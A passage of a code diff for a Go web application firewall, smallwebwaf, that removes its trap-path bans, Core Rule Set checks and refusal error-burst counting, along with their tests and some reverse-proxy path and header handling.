"strings"
@@ -21,7 +22,6 @@ import (
"sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules"
)
// flushAfterEachWrite has ReverseProxy pass on each part of the app's
@@ -64,11 +64,10 @@ type request struct {
// limits and for the byte limits.
counted bool
limitPercent, bytesPercent percentage
// attack is true for a request that matched a ban rule or asked for a
// trap path, ruleBlocked for one a block rule refused, wafBlocked for
// one the Core Rule Set refused, and tokenRefused for one refused for a
// missing or wrong token, each an offence its client's history counts.
attack, ruleBlocked, wafBlocked, tokenRefused bool
// attack is true for a request that matched a ban rule, and
// ruleBlocked for one a block rule refused, each an offence its
// client's history counts.
attack, ruleBlocked bool
// blocklisted is true once a blocklist is found to list the client,
// dnsblListed once a DNSBL zone's verdict is, and abuseIPDBHit once
// AbuseIPDB's score of it is a hit.
@@ -137,7 +136,7 @@ func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request {
Method: r.Method,
Scheme: scheme(r, peerTrusted),
Host: r.Host,
Path: rules.Path(r),
Path: r.URL.EscapedPath(),
Query: r.URL.RawQuery,
Protocol: r.Proto,
Referer: r.Referer(),
@@ -188,29 +187,22 @@ func requestHeaders(r *http.Request, names []string) map[string]string {
}
// check is the one place where a request can be refused once its client
// is known, before anything reaches the app, and before its body is read,
// but for the part the Core Rule Set reads. It returns nil to let the
// request through. The checks of checkClient come first, answered with
// SWWAF_BAN_RESPONSE, or 403 for a block rule or the Core Rule Set, and
// is known, before its body is read or anything reaches the app. It
// returns nil to let the request through. The checks of checkClient come
// first, answered with SWWAF_BAN_RESPONSE, or 403 for a block rule, and
// then the size limit, so that a request the rate limits count is counted
// even when it is refused for its size. In observe mode a request
// checkClient refuses goes on to the size limit like any other. A size or
// time limit the Core Rule Set's reading of the body meets ends the
// request in either mode. ctx is the request's own context.
// checkClient refuses goes on to the size limit like any other. ctx is
// the request's own context.
func (rq *request) check(ctx context.Context) *refusal {
action := rq.checkClient(ctx)
refused := rq.refused.Load()
if refused != nil {
return refused
}
switch {
case action == "":
case rq.h.config.Observe:
// The log line names what enforce mode would have done.
rq.line.WouldAction = action
case action == requestlog.ActionRuleBlocked || action == requestlog.ActionWAFBlocked:
case action == requestlog.ActionRuleBlocked:
return &refusal{status: http.StatusForbidden, action: action}
default:
return rq.banResponse(action)
@@ -240,9 +232,9 @@ func (rq *request) check(ctx context.Context) *refusal {
// rate limits, unless the client is in SWWAF_RATE_LIMIT_EXEMPT_NETS or the
// request's path is exempt under SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that
// every other request is counted, each of them by the client's limit
// percentages, then SWWAF_TRAP_PATHS, then the rule files, and last the
// Core Rule Set. A request exempt from the rate limits is exempt from the
// byte limits too. ctx is the request's own context.
// percentages, and last the rule files. A request exempt from the rate
// limits is exempt from the byte limits too. ctx is the request's own
// context.
func (rq *request) checkClient(ctx context.Context) string {
cfg := rq.h.config
if isInside(rq.client, cfg.AllowNets) {
@@ -261,12 +253,6 @@ func (rq *request) checkClient(ctx context.Context) string {
rq.lookUp(ctx)
// The lookup can wait for GeoJS, so the checks after it read the time
// again: a request counted at the time it arrived could be counted
// after a later one of its client's, which the rate limits would take
// for the clock set back.
now = rq.h.now()
if rq.countryDenied() {
return requestlog.ActionCountryDenied
}
@@ -284,7 +270,7 @@ func (rq *request) checkClient(ctx context.Context) string {
}
rq.counted = !isInside(rq.client, cfg.RateLimitExemptNets) &&
!pathExempt(rq.in, cfg.RateLimitExemptPaths)
!pathExempt(rq.in.URL, cfg.RateLimitExemptPaths)
if rq.counted {
rq.limitPercent, rq.bytesPercent = rq.limitPercentages()
rq.line.LimitPercent, rq.line.LimitPercentSetting = rq.limitPercent.logged()
@@ -295,30 +281,22 @@ func (rq *request) checkClient(ctx context.Context) string {
return requestlog.ActionRateLimited
}
if rq.trapPath(now) {
return requestlog.ActionBanned
}
action := rq.checkRules(now)
if action != "" {
return action
}
return rq.checkCoreRuleSet()
return rq.checkRules(now)
}
// pathExempt reports whether r is exempt under prefixes,
// SWWAF_RATE_LIMIT_EXEMPT_PATHS or SWWAF_WAF_EXEMPT_PATHS: whether its
// path as sent, the path the app receives, not percent-decoded, starts
// with one of prefixes, so that /%61ssets/x is not under /assets/ for an
// app whose router matches the path as received. A request whose decoded
// path contains .. anywhere or a backslash, or whose path as sent holds an
// pathExempt reports whether the rate limits leave out a request for u
// because of SWWAF_RATE_LIMIT_EXEMPT_PATHS: whether its path as sent, the
// path the app receives, not percent-decoded, starts with one of
// prefixes, so that /%61ssets/x is not under /assets/ for an app whose
// router matches the path as received. A request whose decoded path
// contains .. anywhere or a backslash, or whose path as sent holds an
// encoded slash (%2F or %2f), never is, since an app may act on it as a
// path outside every prefix: /assets/..%2Flogin as /login, or /assets%2Fx
// as one path segment, as Go's router does.
func pathExempt(r *http.Request, prefixes []string) bool {
decoded := r.URL.Path
sent := rules.Path(r)
func pathExempt(u *url.URL, prefixes []string) bool {
decoded := u.Path
// EscapedPath is the path as the app receives it, not decoded.
sent := u.EscapedPath()
if strings.Contains(decoded, "..") || strings.Contains(decoded, `\`) ||
strings.Contains(strings.ToLower(sent), "%2f") {
@@ -374,17 +352,6 @@ func (rq *request) rewrite(pr *httputil.ProxyRequest) {
// ReverseProxy drops query parameters it cannot parse; the app gets
// the query as the client sent it.
pr.Out.URL.RawQuery = pr.In.URL.RawQuery
// ReverseProxy sends the path URL.EscapedPath gives, which, for a path
// holding a character Go escapes, such as |, is the whole path decoded
// and escaped again, %2F turned into /. Opaque is sent as it is, so the
// app gets the path as the client sent it. Left out are a target that
// is no path, such as *, and a path starting with //, which Go would
// send in Opaque as a scheme and host.
path := rules.Path(pr.In)
if strings.HasPrefix(path, "/") && !strings.HasPrefix(path, "//") {
pr.Out.URL.Opaque = path
}
setForwardedHeaders(pr.In, pr.Out, rq.peer, rq.peerTrusted)
pr.Out.Header.Set(requestIDHeader, rq.line.RequestID)
pr.Out.Header.Del(asnHeader)
@@ -405,10 +372,8 @@ func (rq *request) modifyResponse(res *http.Response) error {
// timeouts. ReverseProxy writes this answer straight to the
// connection it takes over, not through rq.out, and then copies
// what passes each way through res.Body, the connection to the app.
// It may still refuse the switch, as when the app's Upgrade is not
// the client's, so the status is noted only once it has taken over
// the connection, by rq.out's Hijack.
rq.stopTimers()
rq.out.status = res.StatusCode
rq.line.Websocket = true
conn, ok := res.Body.(io.ReadWriteCloser)
@@ -431,13 +396,6 @@ func (rq *request) modifyResponse(res *http.Response) error {
return errResponseTooLarge
}
// Go's server adds a Content-Type it guesses from the body to a
// response whose headers have no Content-Type key. The key with no
// value sends none, as the app sent none.
if res.Header.Get("Content-Type") == "" {
rq.out.Header()["Content-Type"] = nil
}
res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq}
rq.startClientResponseTimeout()
@@ -447,13 +405,6 @@ func (rq *request) modifyResponse(res *http.Response) error {
// answerError is ReverseProxy's ErrorHandler: the request could not be
// passed to the app, or the app's answer cannot be passed on.
func (rq *request) answerError(_ http.ResponseWriter, _ *http.Request, err error) {
if rq.upgraded != nil {
// The app switched protocols, but the switch was not passed on,
// and ReverseProxy leaves the app's connection open when it
// refuses it.
_ = rq.upgraded.Close()
}
refused := rq.refused.Load()
if refused == nil {
if rq.in.Context().Err() != nil {
@@ -590,14 +541,14 @@ func timing(start, end time.Time) *float64 {
}
// addToHistory adds the request, which has ended, to its client's
// history, and counts its offences in the metrics, and then the lookup's
// answer about the client, as answerAtTheEnd gives it, to that history and
// to the notes of the bans on its netblock: an answer may have come
// before either was there, and one from GeoJS that comes later is added
// when it comes.
// history, and then the lookup's answer about the client, as
// answerAtTheEnd gives it, to that history and to the notes of the bans
// on its netblock: an answer may have come before either was there, and
// one from GeoJS that comes later is added when it comes.
func (rq *request) addToHistory() {
forwarded := !rq.upstreamStart.IsZero()
request := ratelimit.Request{
rq.h.limiter.AddToHistory(rq.h.clientGroup(rq.client), rq.h.now(), ratelimit.Request{
Forwarded: forwarded,
Refused: !forwarded && rq.refused.Load() != nil,
Status: rq.out.status,
@@ -606,12 +557,7 @@ func (rq *request) addToHistory() {
BrokeLimit: rq.line.Offence == requestlog.OffenceLimit,
Attack: rq.attack,
RuleBlocked: rq.ruleBlocked,
WAFBlocked: rq.wafBlocked,
TokenRefused: rq.tokenRefused,
}
rq.h.limiter.AddToHistory(rq.h.clientGroup(rq.client), rq.h.now(), request)
rq.h.metrics.Offences(request)
})
answer, found := rq.answerAtTheEnd()
if found {
@@ -736,16 +682,6 @@ func (rq *request) requestTimedOut(limit string) {
}
if rq.body == nil || !rq.body.waiting.Load() {
// Once the app has answered, the transport, ReverseProxy and Go's
// server each close the client's body, and closing it reads what
// is left of a body under 256 KiB without requestBody.Read, so
// waiting is false while that read waits for the client. That
// read ends now, before refuse: should smallwebwaf still answer
// itself, answer then sets the deadline it gives its own answers.
if !rq.answerStarted.IsZero() {
rq.stopReadingBody(time.Now())
}
rq.refuse(refusal{
status: http.StatusGatewayTimeout,
action: requestlog.ActionTimedOut,
@@ -831,19 +767,9 @@ func (rq *request) responseTimedOut() {
}
}
// responseReceived is called once the app has sent its whole answer. An
// app may answer before the client has sent its whole body, as with a 404
// it sends without reading it. The timeouts then run on: until the
// transport's read of the body returns, Go's server cannot send the
// answer, and SWWAF_CLIENT_REQUEST_TIMEOUT is what ends that read for a
// client that stops sending.
// responseReceived is called once the app has sent its whole answer.
func (rq *request) responseReceived() {
rq.complete = true
if rq.body != nil && !rq.body.received.Load() {
return
}
rq.stopTimers()
}
internal/proxy/request_internal_test.go
-55
View File
@@ -1,55 +0,0 @@
package proxy
import (
"io"
"net/http"
"net/http/httptest"
"testing"
"sneak.berlin/go/smallwebwaf/internal/config"
)
func TestAnAnswerWithoutAContentTypeGetsNone(t *testing.T) {
t.Parallel()
srv := httptest.NewServer(http.HandlerFunc(
func(w http.ResponseWriter, _ *http.Request) {
rq := &request{
h: &handler{config: &config.Config{}},
out: &responseWriter{ResponseWriter: w},
}
app := &http.Response{
StatusCode: http.StatusOK,
Header: http.Header{},
Body: http.NoBody,
}
err := rq.modifyResponse(app)
if err != nil {
t.Errorf("modifyResponse: %v", err)
}
// The headers go out with this, the first part of the body,
// which Go's server would guess a Content-Type from.
_, _ = io.WriteString(w, "<!doctype html><title>page</title>")
}))
t.Cleanup(srv.Close)
req, err := http.NewRequestWithContext(t.Context(), http.MethodGet, srv.URL,
http.NoBody)
if err != nil {
t.Fatalf("new request: %v", err)
}
res, err := srv.Client().Do(req)
if err != nil {
t.Fatalf("get: %v", err)
}
_ = res.Body.Close()
if res.Header.Values("Content-Type") != nil {
t.Errorf("client got Content-Type %q, want none",
res.Header.Get("Content-Type"))
}
}
internal/proxy/rulefiles_test.go
-3
View File
@@ -204,9 +204,6 @@ func TestMetricsCountRuleMatchesAndBansForAnAttack(t *testing.T) {
wantMetric(t, metrics, `smallwebwaf_rules_loaded{instance="app"}`, 2)
wantMetric(t, metrics, `smallwebwaf_requests_total{action="rule_blocked",`+
`instance="app",status_class="4xx"}`, 1)
wantMetric(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="rule_blocked"}`, 1)
wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="attack"}`, 1)
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="attack",instance="app"}`, 1)
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 0)
wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 1)
internal/proxy/rules.go
+1 -22
View File
@@ -1,33 +1,12 @@
package proxy
import (
"slices"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules"
)
// trapPath reports whether the request asks for a path in
// SWWAF_TRAP_PATHS: its path as a path rule sees it, without the query,
// as sent or once percent-decoded, is one of them. Such a request is a
// clear sign of attack, as a ban rule's match is: it bans the client's
// netblock, or in observe mode raises the alert for the ban it would have
// made. The ban's notes give the path as sent.
func (rq *request) trapPath(now time.Time) bool {
path := rules.Path(rq.in)
if !slices.Contains(rq.h.config.TrapPaths, path) &&
!slices.Contains(rq.h.config.TrapPaths, rules.DecodeOnce(path)) {
return false
}
rq.attack = true
rq.banForAttack(now, bans.Notes{TrapPath: path})
return true
}
// checkRules checks the request against the rules of the rule files at
// now, notes the ids of those it matches in the log line, and returns the
// action of the rule that refuses it, ActionRuleBlocked for a block rule
@@ -55,7 +34,7 @@ func (rq *request) checkRules(now time.Time) string {
return requestlog.ActionRuleBlocked
case rules.ActionBan:
rq.attack = true
rq.banForAttack(now, bans.Notes{RuleID: last.ID, Target: last.Target})
rq.banForAttack(now, last)
return requestlog.ActionBanned
default:
internal/proxy/staticlists_test.go
-1
View File
@@ -144,7 +144,6 @@ func TestRateLimitExemptNetsAreNeitherCountedNorRefused(t *testing.T) {
geojsURL, _ := startGeoJS(t)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
rateLimitExemptNets: listedAddr + "," + fromKP,
deniedCountries: "kp",
rateLimitPerMinute: "1",
internal/proxy/timeouts_test.go
-146
View File
@@ -7,7 +7,6 @@ import (
"net/http"
"net/http/httptest"
"strconv"
"strings"
"sync"
"sync/atomic"
"testing"
@@ -195,151 +194,6 @@ func sendLargeBody(t *testing.T, addr string) net.Conn {
return conn
}
func TestClientStopsSendingAfterTheAppHasAnswered(t *testing.T) {
t.Parallel()
// answeredAt is when the app answered, or nil if the bytes the client
// sent never reached it.
var answeredAt atomic.Pointer[time.Time]
// The app answers without reading the whole body, as an app does for
// a path it does not serve, and only once smallwebwaf waits for the
// rest of it: the app takes the bytes the client sent, and then waits
// half the timeout, far longer than smallwebwaf takes to go on to
// wait.
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
_, err := io.ReadFull(r.Body, make([]byte, len("the first bytes")))
if err != nil {
return
}
time.Sleep(shortTimeout / 2)
answeredAt.Store(new(time.Now()))
http.NotFound(w, r)
})
addr, out := startProxy(t, app.URL, map[string]string{
clientRequestTimeout: shortTimeoutSetting,
metricsToken: token,
})
start := time.Now()
got := readResponse(t, sendPartOfBody(t, addr))
wantTimedOut(t, start)
// Close returns once the app has finished with the request.
app.Close()
// The app's answer came before the time ran out, so the client is
// sent that answer, not smallwebwaf's 408. Only a hold-up of the test
// process can make it come later, and SPEC.md then asks for 408, as
// smallwebwaf was waiting for the client, or for 504 if the bytes the
// client sent had not reached the app.
at := answeredAt.Load()
want := http.StatusNotFound
switch {
case at == nil:
want = http.StatusGatewayTimeout
case at.Sub(start) >= shortTimeout:
want = http.StatusRequestTimeout
}
wantStatus(t, got, want)
wantLine(t, out.requestLine(t), want, requestlog.ActionTimedOut)
wantLimitHits(t, addr, clientRequestTimeout, 1)
}
func TestClientStopsSendingWithLittleOfItsBodyLeft(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
// limit is the setting set to shortTimeout, which runs out, and
// clientTimeout what SWWAF_CLIENT_REQUEST_TIMEOUT is set to when it
// is not limit.
limit, clientTimeout string
}{
{
name: "client request timeout",
limit: clientRequestTimeout,
},
{
name: "upstream request timeout, client request timeout off",
limit: upstreamRequestTimeout,
clientTimeout: off,
},
{
name: "upstream request timeout, client request timeout longer",
limit: upstreamRequestTimeout,
clientTimeout: longTimeoutSetting,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
// appClosed is closed once smallwebwaf has closed its
// connection to the app, which it does once it has the app's
// answer.
appClosed := make(chan struct{})
// The app answers without reading the rest of the body, and
// says it closes the connection, only once smallwebwaf waits
// for the client to send more: it takes the bytes the client
// sent, and then waits half the timeout, far longer than
// smallwebwaf takes to go on to wait.
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
conn, buf, err := http.NewResponseController(w).Hijack()
if err != nil {
return
}
_, _ = io.ReadFull(buf.Reader, make([]byte, len("the first bytes")))
time.Sleep(shortTimeout / 2)
_, _ = buf.WriteString("HTTP/1.1 404 Not Found\r\n" +
"Content-Length: 0\r\nConnection: close\r\n\r\n")
_ = buf.Flush()
_, _ = io.Copy(io.Discard, buf.Reader)
_ = conn.Close()
close(appClosed)
})
env := map[string]string{tc.limit: shortTimeoutSetting, metricsToken: token}
if tc.clientTimeout != "" {
env[clientRequestTimeout] = tc.clientTimeout
}
addr, out := startProxy(t, app.URL, env)
// Less than 256 KiB of the body is left after the first bytes,
// little enough for Go's server in smallwebwaf to read the rest
// itself before it sends the app's answer.
start := time.Now()
conn := dial(t, addr)
send(t, conn, "POST /upload HTTP/1.1\r\nHost: app\r\nContent-Length: 200000\r\n\r\n"+
"the first bytes")
select {
case <-appClosed:
case <-time.After(waitLimit):
t.Fatal("smallwebwaf did not close its connection to the app")
}
// More of the body, which can no longer go to the app, and then
// nothing.
send(t, conn, strings.Repeat("x", 8<<10))
got := readResponse(t, conn)
wantTimedOut(t, start)
wantStatus(t, got, http.StatusNotFound)
wantLine(t, out.requestLine(t), http.StatusNotFound, requestlog.ActionTimedOut)
wantLimitHits(t, addr, tc.limit, 1)
})
}
}
func TestAppTooSlowToAnswer(t *testing.T) {
t.Parallel()
internal/proxy/trappaths_test.go
-130
View File
@@ -1,130 +0,0 @@
package proxy_test
import (
"net/http"
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// trapPaths is the setting's name, and trapPathList what the tests set it
// to.
const (
trapPaths = "SWWAF_TRAP_PATHS"
trapPathList = "/wp-login.php,/xmlrpc.php"
)
func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
t.Parallel()
const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
// A block rule for the same path: the trap path comes first.
s, clk, server := startWithClock(t, "", map[string]string{
trapPaths: trapPathList,
rulesDir: writeRules(t, `wp path block ^/wp-login\.php$`),
allowNets: allowed,
banResponse: "429",
})
start := clk.Now()
// Only the path itself, the whole of it in the same case, is a trap
// path.
for _, path := range []string{"/wp-login.php/", "/WP-LOGIN.PHP", "/blog/xmlrpc.php"} {
s.request(otherClient, path, http.StatusOK, requestlog.ActionForward)
}
// A client in SWWAF_ALLOW_NETS is not checked.
s.request(allowed, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
// The query is not part of the path.
line := s.request(client, "/wp-login.php?redirect_to=x", http.StatusTooManyRequests,
requestlog.ActionBanned)
wantRuleIDs(t, line)
if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) {
t.Errorf("log line has ban_expires %q, want seven days on", line.BanExpires)
}
netblock := netip.MustParsePrefix(client + "/32")
want := bans.Ban{
Netblock: netblock,
Start: start,
Expires: start.Add(7 * 24 * time.Hour),
Cause: bans.CauseAttack,
Reason: "asked for the trap path /wp-login.php",
Notes: bans.Notes{
TrapPath: "/wp-login.php",
Request: bans.Request{
Time: start,
Method: http.MethodGet,
Host: appHost,
Path: "/wp-login.php?redirect_to=x",
Status: http.StatusTooManyRequests,
UserAgent: userAgent,
},
Requests: 1,
},
}
got := server.Ledger.Bans(netblock)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
}
// The next request is refused under the ban, and makes it permanent.
line = s.get(client, http.StatusTooManyRequests, requestlog.ActionBanned)
if line.BanExpires != permanent {
t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
}
}
func TestTrapPathMatchesThePathDecodedOnce(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{trapPaths: trapPathList})
// %2577 decodes once to %77, not to w.
s.request(otherClient, "/%2577p-login.php", http.StatusOK, requestlog.ActionForward)
s.request(client, "/%77p-login.php", http.StatusForbidden, requestlog.ActionBanned)
// The ban's notes give the path as the client sent it.
got := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
if len(got) != 1 || got[0].Notes.TrapPath != "/%77p-login.php" {
t.Fatalf("bans %+v, want one whose notes give the trap path /%%77p-login.php", got)
}
}
func TestTrapPathsNeedNoRuleFiles(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
trapPaths: trapPathList,
"SWWAF_RULES_ENABLED": "false",
})
s.request(client, "/xmlrpc.php", http.StatusForbidden, requestlog.ActionBanned)
}
func TestObserveModeLogsWhatATrapPathWouldDo(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{
trapPaths: trapPathList,
mode: observe,
})
line := s.request(client, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionBanned)
// No ban was made.
s.get(client, http.StatusOK, requestlog.ActionForward)
if got := server.Ledger.Snapshot(); len(got) != 0 {
t.Errorf("bans %+v, want none", got)
}
}
internal/ratelimit/ratelimit.go
+29 -73
View File
@@ -25,9 +25,6 @@ const (
KindRequests = "requests"
// KindBytes is a byte limit, on a client's bytes.
KindBytes = "bytes"
// KindRefusals is the error burst, on a client's requests smallwebwaf
// refused after a rule file match or for a missing or wrong token.
KindRefusals = "refusals"
)
// Limits are the most requests a client may make in a minute, an hour and
@@ -53,20 +50,18 @@ type Limiter struct {
}
// Client is a client in the table, as clients.json holds it: its buckets
// of requests and of bytes in each window, its buckets of refusals in the
// minute, which the error burst counts, and its history.
// of requests and of bytes in each window, and its history.
//
//nolint:tagliatelle // the state files use snake_case, as the request log does
type Client struct {
Client netip.Prefix `json:"client"`
Minute Buckets `json:"minute"`
Hour Buckets `json:"hour"`
Day Buckets `json:"day"`
MinuteBytes Buckets `json:"minute_bytes"`
HourBytes Buckets `json:"hour_bytes"`
DayBytes Buckets `json:"day_bytes"`
MinuteRefusals Buckets `json:"minute_refusals"`
History History `json:"history"`
Client netip.Prefix `json:"client"`
Minute Buckets `json:"minute"`
Hour Buckets `json:"hour"`
Day Buckets `json:"day"`
MinuteBytes Buckets `json:"minute_bytes"`
HourBytes Buckets `json:"hour_bytes"`
DayBytes Buckets `json:"day_bytes"`
History History `json:"history"`
}
// Buckets are a client's two buckets in one window: the requests, or the
@@ -121,16 +116,12 @@ type Responses struct {
//
//nolint:tagliatelle // the state files use snake_case, as the request log does
type Offences struct {
// Limit is its requests that broke a rate limit, a byte limit or the
// error burst, Attack those that were a clear sign of attack, a match
// of a ban rule or a request for a trap path, RuleBlocked those a block
// rule refused, WAFBlocked those the Core Rule Set refused, and
// TokenRefused those refused for a missing or wrong token.
Limit int64 `json:"limit"`
Attack int64 `json:"attack"`
RuleBlocked int64 `json:"rule_blocked"`
WAFBlocked int64 `json:"waf_blocked"`
TokenRefused int64 `json:"token_refused"`
// Limit is its requests that broke a rate limit or a byte limit,
// Attack those that matched a ban rule, a clear sign of attack, and
// RuleBlocked those a block rule refused.
Limit int64 `json:"limit"`
Attack int64 `json:"attack"`
RuleBlocked int64 `json:"rule_blocked"`
}
// Request is what a client's history keeps of one of its requests.
@@ -147,16 +138,12 @@ type Request struct {
// and of its response.
RequestBytes int64
ResponseBytes int64
// BrokeLimit is true for a request that broke a rate limit, a byte
// limit or the error burst, Attack for one that matched a ban rule or
// asked for a trap path, RuleBlocked for one a block rule refused,
// WAFBlocked for one the Core Rule Set refused, and TokenRefused for
// one refused for a missing or wrong token.
BrokeLimit bool
Attack bool
RuleBlocked bool
WAFBlocked bool
TokenRefused bool
// BrokeLimit is true for a request that broke a rate limit or a byte
// limit, Attack for one that matched a ban rule, and RuleBlocked for
// one a block rule refused.
BrokeLimit bool
Attack bool
RuleBlocked bool
}
// New returns a Limiter for limits, with no client counted yet, whose
@@ -188,25 +175,24 @@ func New(limits Limits, maxClients int) *Limiter {
}
}
// Hit is a request that takes a client over a rate limit or the error
// burst, or whose bytes take it over a byte limit.
// Hit is a request that takes a client over a rate limit, or whose bytes
// take it over a byte limit.
type Hit struct {
// Kind is KindRequests for a rate limit, KindBytes for a byte limit,
// KindRefusals for the error burst.
// Kind is KindRequests for a rate limit, KindBytes for a byte limit.
Kind string
// Window is "minute", "hour" or "day".
Window string
// Limit is the window's limit, as the client's percentage of it.
Limit int64
// Count is the client's requests, bytes or refusals counted in the
// window, this request's included.
// Count is the client's requests, or bytes, counted in the window,
// this request's included.
Count float64
}
// Counts are a client's requests and bytes in the minute, the hour and
// the day that end at a request, that request's included.
//
//nolint:tagliatelle // docs/request-log.md names the fields in snake_case
//nolint:tagliatelle // SPEC.md's request log names its fields in snake_case
type Counts struct {
Minute float64 `json:"minute"`
Hour float64 `json:"hour"`
@@ -238,25 +224,8 @@ func (l *Limiter) CountBytes(
return l.count(client, now, 0, bytes, percent)
}
// CountRefusal counts a request from client at now that smallwebwaf
// refused after a rule file or Core Rule Set match or for a missing or
// wrong token, and reports whether the client's refusals in the minute
// that ends at now, this one included, are more than threshold, which
// breaks the error burst, and the hit.
func (l *Limiter) CountRefusal(
client netip.Prefix, now time.Time, threshold int64,
) (Hit, bool) {
l.mu.Lock()
defer l.mu.Unlock()
count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1)
hit := Hit{Kind: KindRefusals, Window: "minute", Limit: threshold, Count: count}
return hit, count > float64(threshold)
}
// Reset sets client's counts of requests, of bytes and of refusals in
// every window back to zero. Its history keeps its totals.
// Reset sets client's counts of requests and of bytes in every window
// back to zero. Its history keeps its totals.
func (l *Limiter) Reset(client netip.Prefix) {
l.mu.Lock()
defer l.mu.Unlock()
@@ -265,7 +234,6 @@ func (l *Limiter) Reset(client netip.Prefix) {
if seen {
c.Minute, c.Hour, c.Day = Buckets{}, Buckets{}, Buckets{}
c.MinuteBytes, c.HourBytes, c.DayBytes = Buckets{}, Buckets{}, Buckets{}
c.MinuteRefusals = Buckets{}
}
}
@@ -306,14 +274,6 @@ func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) {
if r.RuleBlocked {
h.Offences.RuleBlocked++
}
if r.WAFBlocked {
h.Offences.WAFBlocked++
}
if r.TokenRefused {
h.Offences.TokenRefused++
}
}
// AddLookup gives client's history its AS number, AS name and country, as
@@ -423,10 +383,6 @@ func (l *Limiter) Load(clients []Client, now time.Time) {
}
}
if c.MinuteRefusals.Passed(now, time.Minute) {
c.MinuteRefusals = Buckets{}
}
l.clients.Add(c.Client, &c)
}
}
internal/ratelimit/ratelimit_test.go
-40
View File
@@ -248,46 +248,6 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) {
wantBytesCount(t, limiter, client, start, 1000, "")
}
func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
t.Parallel()
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
client := netip.MustParsePrefix("203.0.113.9/32")
start := midnight()
for range limit {
if _, over := limiter.CountRefusal(client, start, limit); over {
t.Fatalf("a refusal within the threshold of %d broke the error burst", limit)
}
}
hit, over := limiter.CountRefusal(client, start, limit)
want := ratelimit.Hit{
Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1,
}
if !over || hit != want {
t.Errorf("one over the threshold broke it: %t, with %+v; want %+v", over, hit,
want)
}
// Half a minute into the next, half of those four still count, 2, and
// this one: 3, within the threshold.
hit, over = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
if over || hit.Count != 3 {
t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false",
hit.Count, over)
}
// A ban sets them back to zero.
limiter.Reset(client)
hit, _ = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
if hit.Count != 1 {
t.Errorf("after a reset, %v refusals, want 1", hit.Count)
}
}
func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
t.Parallel()
internal/ratelimit/snapshot_test.go
+6 -13
View File
@@ -65,7 +65,6 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
limiter.Count(client, start, whole)
limiter.CountBytes(client, start, 5, whole)
limiter.CountRefusal(client, start, limit)
limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true})
loaded := func(now time.Time) ratelimit.Client {
@@ -77,9 +76,9 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
return after.Snapshot()[0]
}
// Two minutes on, the window that ends then covers none of the
// minute's buckets, of requests, of bytes and of refusals, which are
// emptied; the hour's and the day's stay, and so does the history.
// Two minutes on, the window that ends then covers neither of the
// minute's buckets, of requests and of bytes, which are emptied; the
// hour's and the day's stay, and so does the history.
got := loaded(start.Add(2 * time.Minute))
if got.Minute != (ratelimit.Buckets{}) || got.Hour.Current != 1 ||
got.Day.Current != 1 || got.History.Requests != 1 {
@@ -92,17 +91,11 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
got.MinuteBytes, got.HourBytes, got.DayBytes)
}
if got.MinuteRefusals != (ratelimit.Buckets{}) {
t.Errorf("loaded two minutes on with buckets of refusals %+v",
got.MinuteRefusals)
}
// A moment before, the window still covers some of the earlier one.
got = loaded(start.Add(2*time.Minute - time.Nanosecond))
if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 ||
got.MinuteRefusals.Current != 1 {
t.Errorf("loaded just under two minutes on with minute buckets %+v, %+v "+
"and %+v", got.Minute, got.MinuteBytes, got.MinuteRefusals)
if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 {
t.Errorf("loaded just under two minutes on with minute buckets %+v and %+v",
got.Minute, got.MinuteBytes)
}
}
internal/requestlog/requestlog.go
+12 -28
View File
@@ -29,16 +29,12 @@ const (
// over a rate limit, which bans the client.
ActionRateLimited = "rate_limited"
